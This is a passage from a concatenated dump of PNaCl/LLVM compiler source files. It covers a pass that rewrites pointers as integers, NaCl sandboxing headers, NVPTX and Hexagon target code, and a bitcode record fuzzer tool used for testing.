Inst->setOperand(I, new IntToPtrInst(Conv, Arg->getType(), "", Inst));
}
}
// Convert result.
if (Inst->getType()->isPointerTy()) {
Instruction *Cast = new PtrToIntInst(
Inst, convertType(Inst->getType()), Inst->getName() + ".asint");
Cast->insertAfter(Inst);
recordConverted(Inst, Cast);
}
}
void FunctionConverter::eraseReplacedInstructions() {
bool Error = false;
for (DenseMap<Value *, RewrittenVal>::iterator I = RewriteMap.begin(),
E = RewriteMap.end(); I != E; ++I) {
if (I->second.Placeholder) {
if (I->second.NewIntVal) {
I->second.Placeholder->replaceAllUsesWith(I->second.NewIntVal);
} else {
errs() << "Not converted: " << *I->first << "\n";
Error = true;
}
}
}
if (Error)
report_fatal_error("Case not handled in ReplacePtrsWithInts");
// Delete the placeholders in a separate pass. This means that if
// one placeholder is accidentally rewritten to another, we will get
// a useful error message rather than accessing a dangling pointer.
for (DenseMap<Value *, RewrittenVal>::iterator I = RewriteMap.begin(),
E = RewriteMap.end(); I != E; ++I) {
delete I->second.Placeholder;
}
// We must do dropAllReferences() before doing eraseFromParent(),
// otherwise we will try to erase instructions that are still
// referenced.
for (SmallVectorImpl<Instruction *>::iterator I = ToErase.begin(),
E = ToErase.end();
I != E; ++I) {
(*I)->dropAllReferences();
}
for (SmallVectorImpl<Instruction *>::iterator I = ToErase.begin(),
E = ToErase.end();
I != E; ++I) {
(*I)->eraseFromParent();
}
}
// Remove attributes that only apply to pointer arguments. Returns
// the updated AttributeSet.
static AttributeSet RemovePointerAttrs(LLVMContext &Context,
AttributeSet Attrs) {
SmallVector<AttributeSet, 8> AttrList;
for (unsigned Slot = 0; Slot < Attrs.getNumSlots(); ++Slot) {
unsigned Index = Attrs.getSlotIndex(Slot);
AttrBuilder AB;
for (AttributeSet::iterator Attr = Attrs.begin(Slot), E = Attrs.end(Slot);
Attr != E; ++Attr) {
if (!Attr->isEnumAttribute()) {
continue;
}
switch (Attr->getKindAsEnum()) {
// ByVal and StructRet should already have been removed by the
// ExpandByVal pass.
case Attribute::ByVal:
case Attribute::StructRet:
case Attribute::Nest:
Attrs.dump();
report_fatal_error("ReplacePtrsWithInts cannot handle "
"byval, sret or nest attrs");
break;
// Strip these attributes because they apply only to pointers. This pass
// rewrites pointer arguments, thus these parameter attributes are
// meaningless. Also, they are rejected by the PNaCl module verifier.
case Attribute::NoCapture:
case Attribute::NoAlias:
case Attribute::ReadNone:
case Attribute::ReadOnly:
case Attribute::NonNull:
case Attribute::Dereferenceable:
case Attribute::DereferenceableOrNull:
break;
default:
AB.addAttribute(*Attr);
}
}
AttrList.push_back(AttributeSet::get(Context, Index, AB));
}
return AttributeSet::get(Context, AttrList);
}
static void ConvertInstruction(DataLayout *DL, Type *IntPtrType,
FunctionConverter *FC, Instruction *Inst) {
if (ReturnInst *Ret = dyn_cast<ReturnInst>(Inst)) {
Value *Result = Ret->getReturnValue();
if (Result)
Result = FC->convert(Result);
CopyDebug(ReturnInst::Create(Ret->getContext(), Result, Ret), Inst);
Ret->eraseFromParent();
} else if (PHINode *Phi = dyn_cast<PHINode>(Inst)) {
PHINode *Phi2 = PHINode::Create(FC->convertType(Phi->getType()),
Phi->getNumIncomingValues(),
"", Phi);
CopyDebug(Phi2, Phi);
for (unsigned I = 0; I < Phi->getNumIncomingValues(); ++I) {
Phi2->addIncoming(FC->convert(Phi->getIncomingValue(I)),
Phi->getIncomingBlock(I));
}
Phi2->takeName(Phi);
FC->recordConvertedAndErase(Phi, Phi2);
} else if (SelectInst *Op = dyn_cast<SelectInst>(Inst)) {
Instruction *Op2 = SelectInst::Create(Op->getCondition(),
FC->convert(Op->getTrueValue()),
FC->convert(Op->getFalseValue()),
"", Op);
CopyDebug(Op2, Op);
Op2->takeName(Op);
FC->recordConvertedAndErase(Op, Op2);
} else if (isa<PtrToIntInst>(Inst) || isa<IntToPtrInst>(Inst)) {
Value *Arg = FC->convert(Inst->getOperand(0));
Type *ResultTy = FC->convertType(Inst->getType());
unsigned ArgSize = Arg->getType()->getIntegerBitWidth();
unsigned ResultSize = ResultTy->getIntegerBitWidth();
Value *Result;
// We avoid using IRBuilder's CreateZExtOrTrunc() here because it
// constant-folds ptrtoint ConstantExprs. This leads to creating
// ptrtoints of non-IntPtrType type, which is not what we want,
// because we want truncation/extension to be done explicitly by
// separate instructions.
if (ArgSize == ResultSize) {
Result = Arg;
} else {
Instruction::CastOps CastType =
ArgSize > ResultSize ? Instruction::Trunc : Instruction::ZExt;
Result = CopyDebug(CastInst::Create(CastType, Arg, ResultTy, "", Inst),
Inst);
}
if (Result != Arg)
Result->takeName(Inst);
FC->recordConvertedAndErase(Inst, Result);
} else if (isa<BitCastInst>(Inst)) {
if (Inst->getType()->isPointerTy()) {
FC->ToErase.push_back(Inst);
}
} else if (ICmpInst *Cmp = dyn_cast<ICmpInst>(Inst)) {
Value *Cmp2 = CopyDebug(new ICmpInst(Inst, Cmp->getPredicate(),
FC->convert(Cmp->getOperand(0)),
FC->convert(Cmp->getOperand(1)), ""),
Inst);
Cmp2->takeName(Cmp);
Cmp->replaceAllUsesWith(Cmp2);
Cmp->eraseFromParent();
} else if (LoadInst *Load = dyn_cast<LoadInst>(Inst)) {
Value *Ptr = FC->convertBackToPtr(Load->getPointerOperand(), Inst);
LoadInst *Result = new LoadInst(Ptr, "", Inst);
Result->takeName(Inst);
CopyDebug(Result, Inst);
CopyLoadOrStoreAttrs(Result, Load);
FC->recordConvertedAndErase(Inst, Result);
} else if (StoreInst *Store = dyn_cast<StoreInst>(Inst)) {
Value *Ptr = FC->convertBackToPtr(Store->getPointerOperand(), Inst);
StoreInst *Result = new StoreInst(FC->convert(Store->getValueOperand()),
Ptr, Inst);
CopyDebug(Result, Inst);
CopyLoadOrStoreAttrs(Result, Store);
Inst->eraseFromParent();
} else if (CallInst *Call = dyn_cast<CallInst>(Inst)) {
if (IntrinsicInst *ICall = dyn_cast<IntrinsicInst>(Inst)) {
if (ICall->getIntrinsicID() == Intrinsic::lifetime_start ||
ICall->getIntrinsicID() == Intrinsic::lifetime_end ||
ICall->getIntrinsicID() == Intrinsic::invariant_start) {
// Remove alloca lifetime markers for now. This is because
// the GVN pass can introduce lifetime markers taking PHI
// nodes as arguments. If ReplacePtrsWithInts converts the
// PHI node to int type, we will render those lifetime markers
// ineffective. But dropping a subset of lifetime markers is
// not safe in general. So, until LLVM better defines the
// semantics of lifetime markers, we drop them all. See:
// https://code.google.com/p/nativeclient/issues/detail?id=3443
// We do the same for invariant.start/end because they work in
// a similar way.
Inst->eraseFromParent();
} else {
FC->convertInPlace(Inst);
}
} else if (isa<InlineAsm>(Call->getCalledValue())) {
FC->convertInPlace(Inst);
} else {
SmallVector<Value *, 10> Args;
for (unsigned I = 0; I < Call->getNumArgOperands(); ++I)
Args.push_back(FC->convert(Call->getArgOperand(I)));
CallInst *NewCall = CallInst::Create(
FC->convertFunctionPtr(Call->getCalledValue(), Call),
Args, "", Inst);
CopyDebug(NewCall, Call);
NewCall->setAttributes(RemovePointerAttrs(Call->getContext(),
Call->getAttributes()));
NewCall->setCallingConv(Call->getCallingConv());
NewCall->setTailCall(Call->isTailCall());
NewCall->takeName(Call);
FC->recordConvertedAndErase(Call, NewCall);
}
} else if (InvokeInst *Call = dyn_cast<InvokeInst>(Inst)) {
SmallVector<Value *, 10> Args;
for (unsigned I = 0; I < Call->getNumArgOperands(); ++I)
Args.push_back(FC->convert(Call->getArgOperand(I)));
InvokeInst *NewCall = InvokeInst::Create(
FC->convertFunctionPtr(Call->getCalledValue(), Call),
Call->getNormalDest(),
Call->getUnwindDest(),
Args, "", Inst);
CopyDebug(NewCall, Call);
NewCall->setAttributes(RemovePointerAttrs(Call->getContext(),
Call->getAttributes()));
NewCall->setCallingConv(Call->getCallingConv());
NewCall->takeName(Call);
FC->recordConvertedAndErase(Call, NewCall);
} else if (// Handle these instructions as a convenience to allow
// the pass to be used in more situations, even though we
// don't expect them in PNaCl's stable ABI.
isa<AllocaInst>(Inst) ||
isa<GetElementPtrInst>(Inst) ||
isa<VAArgInst>(Inst) ||
isa<IndirectBrInst>(Inst) ||
isa<ExtractValueInst>(Inst) ||
isa<InsertValueInst>(Inst) ||
// These atomics only operate on integer pointers, not
// other pointers, so we don't need to recreate the
// instruction.
isa<AtomicCmpXchgInst>(Inst) ||
isa<AtomicRMWInst>(Inst)) {
FC->convertInPlace(Inst);
}
}
// Convert ptrtoint+inttoptr to a bitcast because it's shorter and
// because some intrinsics work on bitcasts but not on
// ptrtoint+inttoptr, in particular:
// * llvm.lifetime.start/end (although we strip these out)
// * llvm.eh.typeid.for
static void SimplifyCasts(Instruction *Inst, Type *IntPtrType) {
if (IntToPtrInst *Cast1 = dyn_cast<IntToPtrInst>(Inst)) {
if (PtrToIntInst *Cast2 = dyn_cast<PtrToIntInst>(Cast1->getOperand(0))) {
assert(Cast2->getType() == IntPtrType);
Value *V = Cast2->getPointerOperand();
if (V->getType() != Cast1->getType())
V = new BitCastInst(V, Cast1->getType(), V->getName() + ".bc", Cast1);
Cast1->replaceAllUsesWith(V);
if (Cast1->use_empty())
Cast1->eraseFromParent();
if (Cast2->use_empty())
Cast2->eraseFromParent();
}
}
}
static void CleanUpFunction(Function *Func, Type *IntPtrType) {
// Remove the ptrtoint/bitcast ConstantExprs we introduced for
// referencing globals.
FunctionPass *Pass = createExpandConstantExprPass();
Pass->runOnFunction(*Func);
delete Pass;
for (Function::iterator BB = Func->begin(), E = Func->end();
BB != E; ++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end();
Iter != E; ) {
SimplifyCasts(Iter++, IntPtrType);
}
}
// Cleanup pass.
for (Function::iterator BB = Func->begin(), E = Func->end();
BB != E; ++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end();
Iter != E; ) {
Instruction *Inst = Iter++;
// Add names to inttoptrs to make the output more readable. The
// placeholder values get in the way of doing this earlier when
// the inttoptrs are created.
if (isa<IntToPtrInst>(Inst))
Inst->setName(Inst->getOperand(0)->getName() + ".asptr");
// Remove ptrtoints that were introduced for allocas but not used.
if (isa<PtrToIntInst>(Inst) && Inst->use_empty())
Inst->eraseFromParent();
}
}
}
char ReplacePtrsWithInts::ID = 0;
INITIALIZE_PASS(ReplacePtrsWithInts, "replace-ptrs-with-ints",
"Convert pointer values to integer values",
false, false)
bool ReplacePtrsWithInts::runOnModule(Module &M) {
DataLayout DL(&M);
DenseMap<const Function *, DISubprogram> FunctionDIs = makeSubprogramMap(M);
Type *IntPtrType = DL.getIntPtrType(M.getContext());
for (Module::iterator Iter = M.begin(), E = M.end(); Iter != E; ) {
Function *OldFunc = Iter++;
// Intrinsics' types must be left alone.
if (OldFunc->isIntrinsic())
continue;
FunctionConverter FC(IntPtrType);
FunctionType *NFTy = FC.convertFuncType(OldFunc->getFunctionType());
OldFunc->setAttributes(RemovePointerAttrs(M.getContext(),
OldFunc->getAttributes()));
Function *NewFunc = RecreateFunction(OldFunc, NFTy);
// Move the arguments across to the new function.
for (Function::arg_iterator Arg = OldFunc->arg_begin(),
E = OldFunc->arg_end(), NewArg = NewFunc->arg_begin();
Arg != E; ++Arg, ++NewArg) {
FC.recordConverted(Arg, NewArg);
NewArg->takeName(Arg);
}
// invariant.end calls refer to invariant.start calls, so we must
// remove the former first.
for (Function::iterator BB = NewFunc->begin(), E = NewFunc->end();
BB != E; ++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end();
Iter != E; ) {
if (IntrinsicInst *ICall = dyn_cast<IntrinsicInst>(Iter++)) {
if (ICall->getIntrinsicID() == Intrinsic::invariant_end)
ICall->eraseFromParent();
}
}
}
// Convert the function body.
for (Function::iterator BB = NewFunc->begin(), E = NewFunc->end();
BB != E; ++BB) {
for (BasicBlock::iterator Iter = BB->begin(), E = BB->end();
Iter != E; ) {
ConvertInstruction(&DL, IntPtrType, &FC, Iter++);
}
}
FC.eraseReplacedInstructions();
// Patch the pointer to LLVM function in debug info descriptor.
auto DI = FunctionDIs.find(OldFunc);
if (DI != FunctionDIs.end())
DI->second->replaceFunction(NewFunc);
OldFunc->eraseFromParent();
}
// Now that all functions have their normalized types, we can remove
// various casts.
for (Module::iterator Func = M.begin(), E = M.end(); Func != E; ++Func) {
CleanUpFunction(Func, IntPtrType);
// Delete the now-unused bitcast ConstantExprs that we created so
// that they don't interfere with StripDeadPrototypes.
Func->removeDeadConstantUsers();
}
return true;
}
ModulePass *llvm::createReplacePtrsWithIntsPass() {
return new ReplacePtrsWithInts();
}
<file_sep>/lib/Target/ARM/ARMNaClRewritePass.h
//===-- ARMNaClRewritePass.h - NaCl Sandboxing Pass ------- --*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef TARGET_ARMNACLREWRITEPASS_H
#define TARGET_ARMNACLREWRITEPASS_H
#include "llvm/MC/MCNaCl.h"
#include "llvm/Target/TargetRegisterInfo.h"
#include "llvm/CodeGen/MachineInstr.h"
namespace ARM_SFI {
bool IsStackChange(const llvm::MachineInstr &MI,
const llvm::TargetRegisterInfo *TRI);
bool IsSandboxedStackChange(const llvm::MachineInstr &MI);
bool NeedSandboxStackChange(const llvm::MachineInstr &MI,
const llvm::TargetRegisterInfo *TRI);
} // namespace ARM_SFI
#endif
<file_sep>/lib/Target/X86/MCTargetDesc/X86MCNaCl.h
//===-- X86MCNaCl.h - Prototype for CustomExpandInstNaClX86 ---*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef X86MCNACL_H
#define X86MCNACL_H
namespace llvm {
class MCInst;
class MCStreamer;
struct X86MCNaClSFIState {
unsigned PrefixSaved;
bool EmitRaw;
};
bool CustomExpandInstNaClX86(const MCSubtargetInfo &STI, const MCInst &Inst,
MCStreamer &Out, X86MCNaClSFIState &State);
}
#endif
<file_sep>/lib/Target/NVPTX/NVPTXSubtarget.cpp
//===- NVPTXSubtarget.cpp - NVPTX Subtarget Information -------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the NVPTX specific subclass of TargetSubtarget.
//
//===----------------------------------------------------------------------===//
#include "NVPTXSubtarget.h"
#include "NVPTXTargetMachine.h"
using namespace llvm;
#define DEBUG_TYPE "nvptx-subtarget"
#define GET_SUBTARGETINFO_ENUM
#define GET_SUBTARGETINFO_TARGET_DESC
#define GET_SUBTARGETINFO_CTOR
#include "NVPTXGenSubtargetInfo.inc"
// Pin the vtable to this file.
void NVPTXSubtarget::anchor() {}
NVPTXSubtarget &NVPTXSubtarget::initializeSubtargetDependencies(StringRef CPU,
StringRef FS) {
// Provide the default CPU if we don't have one.
if (CPU.empty() && FS.size())
llvm_unreachable("we are not using FeatureStr");
TargetName = CPU.empty() ? "sm_20" : CPU;
ParseSubtargetFeatures(TargetName, FS);
// Set default to PTX 3.2 (CUDA 5.5)
if (PTXVersion == 0) {
PTXVersion = 32;
}
return *this;
}
NVPTXSubtarget::NVPTXSubtarget(const std::string &TT, const std::string &CPU,
const std::string &FS,
const NVPTXTargetMachine &TM)
: NVPTXGenSubtargetInfo(TT, CPU, FS), PTXVersion(0), SmVersion(20), TM(TM),
InstrInfo(), TLInfo(TM, initializeSubtargetDependencies(CPU, FS)),
TSInfo(TM.getDataLayout()), FrameLowering() {}
bool NVPTXSubtarget::hasImageHandles() const {
// Enable handles for Kepler+, where CUDA supports indirect surfaces and
// textures
if (TM.getDrvInterface() == NVPTX::CUDA)
return (SmVersion >= 30);
// Disabled, otherwise
return false;
}
<file_sep>/tools/pnacl-bccompress/CMakeLists.txt
set(LLVM_LINK_COMPONENTS
NaClBitAnalysis
NaClBitReader
NaClBitWriter
Support)
add_llvm_tool(pnacl-bccompress
pnacl-bccompress.cpp
)
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClFuzz.cpp
//===- NaClFuzz.cpp - Fuzz PNaCl bitcode records --------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements a basic fuzzer for a list of PNaCl bitcode records.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClFuzz.h"
using namespace llvm;
namespace {
// Names for edit actions.
const char *ActionNameArray[] = {
"Insert",
"Mutate",
"Remove",
"Replace",
"Swap"
};
} // end of anonymous namespace
namespace naclfuzz {
const char *RecordFuzzer::actionName(EditAction Action) {
return Action < array_lengthof(ActionNameArray)
? ActionNameArray[Action] : "???";
}
RecordFuzzer::RecordFuzzer(NaClMungedBitcode &Bitcode,
RandomNumberGenerator &Generator)
: Bitcode(Bitcode), Generator(Generator) {
if (Bitcode.getBaseRecords().empty())
report_fatal_error(
"Sorry, the fuzzer doesn't know how to fuzz an empty record list");
}
RecordFuzzer::~RecordFuzzer() {}
void RecordFuzzer::clear() {
Bitcode.removeEdits();
}
} // end of namespace naclfuzz
<file_sep>/lib/Target/Hexagon/MCTargetDesc/HexagonMCInstrInfo.cpp
//===- HexagonMCInstrInfo.cpp - Hexagon sub-class of MCInst ---------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This class extends MCInstrInfo to allow Hexagon specific MCInstr queries
//
//===----------------------------------------------------------------------===//
#include "HexagonMCInstrInfo.h"
#include "HexagonBaseInfo.h"
namespace llvm {
void HexagonMCInstrInfo::AppendImplicitOperands(MCInst &MCI) {
MCI.addOperand(MCOperand::CreateImm(0));
MCI.addOperand(MCOperand::CreateInst(nullptr));
}
unsigned HexagonMCInstrInfo::getBitCount(MCInstrInfo const &MCII,
MCInst const &MCI) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::ExtentBitsPos) & HexagonII::ExtentBitsMask);
}
// Return constant extended operand number.
unsigned short HexagonMCInstrInfo::getCExtOpNum(MCInstrInfo const &MCII,
MCInst const &MCI) {
const uint64_t F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::ExtendableOpPos) & HexagonII::ExtendableOpMask);
}
MCInstrDesc const &HexagonMCInstrInfo::getDesc(MCInstrInfo const &MCII,
MCInst const &MCI) {
return (MCII.get(MCI.getOpcode()));
}
std::bitset<16> HexagonMCInstrInfo::GetImplicitBits(MCInst const &MCI) {
SanityCheckImplicitOperands(MCI);
std::bitset<16> Bits(MCI.getOperand(MCI.getNumOperands() - 2).getImm());
return Bits;
}
// Return the max value that a constant extendable operand can have
// without being extended.
int HexagonMCInstrInfo::getMaxValue(MCInstrInfo const &MCII,
MCInst const &MCI) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
unsigned isSigned =
(F >> HexagonII::ExtentSignedPos) & HexagonII::ExtentSignedMask;
unsigned bits = (F >> HexagonII::ExtentBitsPos) & HexagonII::ExtentBitsMask;
if (isSigned) // if value is signed
return ~(-1U << (bits - 1));
else
return ~(-1U << bits);
}
// Return the min value that a constant extendable operand can have
// without being extended.
int HexagonMCInstrInfo::getMinValue(MCInstrInfo const &MCII,
MCInst const &MCI) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
unsigned isSigned =
(F >> HexagonII::ExtentSignedPos) & HexagonII::ExtentSignedMask;
unsigned bits = (F >> HexagonII::ExtentBitsPos) & HexagonII::ExtentBitsMask;
if (isSigned) // if value is signed
return -1U << (bits - 1);
else
return 0;
}
// Return the operand that consumes or produces a new value.
MCOperand const &HexagonMCInstrInfo::getNewValue(MCInstrInfo const &MCII,
MCInst const &MCI) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
unsigned const O =
(F >> HexagonII::NewValueOpPos) & HexagonII::NewValueOpMask;
MCOperand const &MCO = MCI.getOperand(O);
assert((HexagonMCInstrInfo::isNewValue(MCII, MCI) ||
HexagonMCInstrInfo::hasNewValue(MCII, MCI)) &&
MCO.isReg());
return (MCO);
}
// Return the Hexagon ISA class for the insn.
unsigned HexagonMCInstrInfo::getType(MCInstrInfo const &MCII,
MCInst const &MCI) {
const uint64_t F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::TypePos) & HexagonII::TypeMask);
}
// Return whether the instruction is a legal new-value producer.
bool HexagonMCInstrInfo::hasNewValue(MCInstrInfo const &MCII,
MCInst const &MCI) {
const uint64_t F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::hasNewValuePos) & HexagonII::hasNewValueMask);
}
// Return whether the insn is an actual insn.
bool HexagonMCInstrInfo::isCanon(MCInstrInfo const &MCII, MCInst const &MCI) {
return (!HexagonMCInstrInfo::getDesc(MCII, MCI).isPseudo() &&
!HexagonMCInstrInfo::isPrefix(MCII, MCI) &&
HexagonMCInstrInfo::getType(MCII, MCI) != HexagonII::TypeENDLOOP);
}
// Return whether the instruction needs to be constant extended.
// 1) Always return true if the instruction has 'isExtended' flag set.
//
// isExtendable:
// 2) For immediate extended operands, return true only if the value is
// out-of-range.
// 3) For global address, always return true.
bool HexagonMCInstrInfo::isConstExtended(MCInstrInfo const &MCII,
MCInst const &MCI) {
if (HexagonMCInstrInfo::isExtended(MCII, MCI))
return true;
if (!HexagonMCInstrInfo::isExtendable(MCII, MCI))
return false;
short ExtOpNum = HexagonMCInstrInfo::getCExtOpNum(MCII, MCI);
int MinValue = HexagonMCInstrInfo::getMinValue(MCII, MCI);
int MaxValue = HexagonMCInstrInfo::getMaxValue(MCII, MCI);
MCOperand const &MO = MCI.getOperand(ExtOpNum);
// We could be using an instruction with an extendable immediate and shoehorn
// a global address into it. If it is a global address it will be constant
// extended. We do this for COMBINE.
// We currently only handle isGlobal() because it is the only kind of
// object we are going to end up with here for now.
// In the future we probably should add isSymbol(), etc.
if (MO.isExpr())
return true;
// If the extendable operand is not 'Immediate' type, the instruction should
// have 'isExtended' flag set.
assert(MO.isImm() && "Extendable operand must be Immediate type");
int ImmValue = MO.getImm();
return (ImmValue < MinValue || ImmValue > MaxValue);
}
// Return true if the instruction may be extended based on the operand value.
bool HexagonMCInstrInfo::isExtendable(MCInstrInfo const &MCII,
MCInst const &MCI) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return (F >> HexagonII::ExtendablePos) & HexagonII::ExtendableMask;
}
// Return whether the instruction must be always extended.
bool HexagonMCInstrInfo::isExtended(MCInstrInfo const &MCII,
MCInst const &MCI) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return (F >> HexagonII::ExtendedPos) & HexagonII::ExtendedMask;
}
// Return whether the insn is a new-value consumer.
bool HexagonMCInstrInfo::isNewValue(MCInstrInfo const &MCII,
MCInst const &MCI) {
const uint64_t F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::NewValuePos) & HexagonII::NewValueMask);
}
// Return whether the operand can be constant extended.
bool HexagonMCInstrInfo::isOperandExtended(MCInstrInfo const &MCII,
MCInst const &MCI,
unsigned short OperandNum) {
uint64_t const F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::ExtendableOpPos) & HexagonII::ExtendableOpMask) ==
OperandNum;
}
bool HexagonMCInstrInfo::isPacketBegin(MCInst const &MCI) {
std::bitset<16> Bits(GetImplicitBits(MCI));
return Bits.test(packetBeginIndex);
}
bool HexagonMCInstrInfo::isPacketEnd(MCInst const &MCI) {
std::bitset<16> Bits(GetImplicitBits(MCI));
return Bits.test(packetEndIndex);
}
// Return whether the insn is a prefix.
bool HexagonMCInstrInfo::isPrefix(MCInstrInfo const &MCII, MCInst const &MCI) {
return (HexagonMCInstrInfo::getType(MCII, MCI) == HexagonII::TypePREFIX);
}
// Return whether the insn is solo, i.e., cannot be in a packet.
bool HexagonMCInstrInfo::isSolo(MCInstrInfo const &MCII, MCInst const &MCI) {
const uint64_t F = HexagonMCInstrInfo::getDesc(MCII, MCI).TSFlags;
return ((F >> HexagonII::SoloPos) & HexagonII::SoloMask);
}
void HexagonMCInstrInfo::resetPacket(MCInst &MCI) {
setPacketBegin(MCI, false);
setPacketEnd(MCI, false);
}
void HexagonMCInstrInfo::SetImplicitBits(MCInst &MCI, std::bitset<16> Bits) {
SanityCheckImplicitOperands(MCI);
MCI.getOperand(MCI.getNumOperands() - 2).setImm(Bits.to_ulong());
}
void HexagonMCInstrInfo::setPacketBegin(MCInst &MCI, bool f) {
std::bitset<16> Bits(GetImplicitBits(MCI));
Bits.set(packetBeginIndex, f);
SetImplicitBits(MCI, Bits);
}
void HexagonMCInstrInfo::setPacketEnd(MCInst &MCI, bool f) {
std::bitset<16> Bits(GetImplicitBits(MCI));
Bits.set(packetEndIndex, f);
SetImplicitBits(MCI, Bits);
}
}
<file_sep>/tools/pnacl-bcfuzz/pnacl-bcfuzz.cpp
//===-- pnacl-bcfuzz.cpp - Record fuzzer for PNaCl bitcode ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Generates (record-level) fuzzed PNaCl bitcode files from an input
// PNaCl bitcode file.
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClFuzz.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/ToolOutputFile.h"
using namespace llvm;
using namespace naclfuzz;
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<frozen file>"), cl::init("-"));
static cl::opt<std::string>
OutputPrefix("output", cl::desc("<output prefix>"), cl::init(""));
static cl::opt<unsigned>
FuzzCount("count", cl::desc("Number of fuzz results to generate"),
cl::init(1));
static cl::opt<bool>
ConvertToTextRecords(
"convert-to-text",
cl::desc("Convert binary file to record text file (specified by -output)"),
cl::init(false));
static cl::opt<bool>
AcceptBitcodeRecordsAsText(
"bitcode-as-text",
cl::desc(
"Convert record text file to binary file (specified by -output)"),
cl::init(false));
static cl::opt<std::string>
RandomSeed("random-seed",
cl::desc("Use this value for seed of random number generator "
"(rather than input)"),
cl::init(""));
static cl::opt<bool>
ShowFuzzRecordDistribution(
"record-distribution",
cl::desc("Show distribution of record edits while fuzzing"),
cl::init(false));
static cl::opt<bool>
ShowFuzzEditDistribution(
"edit-distribution",
cl::desc("Show distribution of editing actions while fuzzing"),
cl::init(false));
static cl::opt<unsigned>
PercentageToEdit(
"edit-percentage",
cl::desc("Percentage of records to edit during fuzz (between 1 and"
" '-percentage-base')"),
cl::init(1));
static cl::opt<unsigned>
PercentageBase(
"percentage-base",
cl::desc("Base that '-edit-precentage' is defined on (defaults to 100)"),
cl::init(100));
static cl::opt<bool>
Verbose("verbose",
cl::desc("Show details of fuzzing/writing of bitcode files"),
cl::init(false));
static void writeOutputFile(SmallVectorImpl<char> &Buffer,
StringRef OutputFilename) {
std::error_code EC;
std::unique_ptr<tool_output_file> Out(
new tool_output_file(OutputFilename, EC, sys::fs::F_None));
if (EC) {
errs() << EC.message() << '\n';
exit(1);
}
for (SmallVectorImpl<char>::const_iterator
Iter = Buffer.begin(), IterEnd = Buffer.end();
Iter != IterEnd; ++Iter) {
Out->os() << *Iter;
}
// Declare success.
Out->keep();
}
static bool writeBitcode(NaClMungedBitcode &Bitcode,
NaClMungedBitcode::WriteFlags &WriteFlags,
StringRef OutputFile) {
if (Verbose) {
errs() << "Records:\n";
for (const auto &Record : Bitcode) {
errs() << " " << Record << "\n";
}
}
SmallVector<char, 100> Buffer;
if (!Bitcode.write(Buffer, true, WriteFlags)) {
errs() << "Error: Failed to write bitcode: " << OutputFile << "\n";
return false;
}
writeOutputFile(Buffer, OutputFile);
return true;
}
static void writeFuzzedBitcodeFiles(NaClMungedBitcode &Bitcode,
NaClMungedBitcode::WriteFlags &WriteFlags) {
std::string RandSeed(RandomSeed);
if (RandomSeed.empty())
RandSeed = InputFilename;
DefaultRandomNumberGenerator Generator(RandSeed);
std::unique_ptr<RecordFuzzer> Fuzzer(
RecordFuzzer::createSimpleRecordFuzzer(Bitcode, Generator));
for (size_t i = 1; i <= FuzzCount; ++i) {
Generator.saltSeed(i);
std::string OutputFile;
{
raw_string_ostream StrBuf(OutputFile);
StrBuf << OutputPrefix << "-" << i;
StrBuf.flush();
}
if (Verbose)
errs() << "Generating " << OutputFile << "\n";
if (!Fuzzer->fuzz(PercentageToEdit, PercentageBase)) {
errs() << "Error: Fuzzing failed: " << OutputFile << "\n";
continue;
}
writeBitcode(Bitcode, WriteFlags, OutputFile);
}
if (ShowFuzzRecordDistribution)
Fuzzer->showRecordDistribution(outs());
if (ShowFuzzEditDistribution)
Fuzzer->showEditDistribution(outs());
}
bool writeTextualBitcodeRecords(std::unique_ptr<MemoryBuffer> InputBuffer) {
NaClBitcodeRecordList Records;
readNaClBitcodeRecordList(Records, std::move(InputBuffer));
SmallVector<char, 1024> OutputBuffer;
if (!writeNaClBitcodeRecordList(Records, OutputBuffer, errs()))
return false;
writeOutputFile(OutputBuffer, OutputPrefix);
return true;
}
bool writeBinaryBitcodeRecords(std::unique_ptr<MemoryBuffer> InputBuffer) {
